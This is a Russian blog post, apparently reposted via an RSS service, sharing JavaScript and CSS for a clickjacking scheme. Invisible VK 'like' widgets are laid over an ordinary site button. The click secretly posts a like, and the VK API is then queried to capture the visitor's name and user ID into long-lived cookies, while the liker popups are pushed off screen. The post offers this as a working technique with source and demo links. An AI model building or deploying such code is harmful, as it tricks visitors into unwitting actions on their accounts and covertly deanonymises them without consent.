Когда то давно, хотели сделать сервис, который позволял бы узнать посетителя сайта и дать возможность заполнить поля на сайте за посетителя, но проект заморозился и уже умер.
Решил выложить исходники, может кому будет это полезно.
И так суть скрипта. Поверх любой кнопки накладывается скрипт лайка от сайта VK.com.
Проверка авторизован ли пользователь на сайте VK.com:
VK.Auth.getLoginStatus(function (response) {
if (response.status === 'unknown')
$('.button_style').hide(); // если не авторизован, то скрываем виджеты лайка
});
Накладываем на кнопку-жертву по всей площади виджеты лайка и скрываем их:
Все наша кнопка готова, теперь по клику на неё будет ставиться лайк, теперь нам нужно отловить это событие и сохранить в куки, чтобы в следующий раз брать из куков.
VK.Observer.subscribe("widgets.like.liked", function () {
$.ajax({
url: 'http://ift.tt/1FJhkl5?' +
'type=sitepage' +
'&page_url=' + window.location +
'&extended=1' +
'&owner_id=' + LIKE_ID,
dataType: "jsonp",
success: function (data) {
if (data.response) {
var user = data.response.items[0];
var options = {expires: 1000000};
$scope.cookies_user = user;
$scope.setCookie('first_name', user.first_name, options);
$scope.setCookie('last_name', user.last_name, options);
$scope.setCookie('uid', user.uid, options);
$scope.name = user.first_name + " " + user.last_name;
$scope.modalOpen();
$scope.$digest();
}
}
});
});
Еще один момент, который заставил помучатся, это появление пользователей которые лайкнули.
Обход, вынести за облость экрана:
#vkwidget1_tt,
#vkwidget2_tt,
#vkwidget3_tt,
#vkwidget4_tt {
margin-left: -2500px;
}
Исходники: http://ift.tt/1FJhkl7
Демо: http://ift.tt/1iPj1T7 (нажать на кнопку)
This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий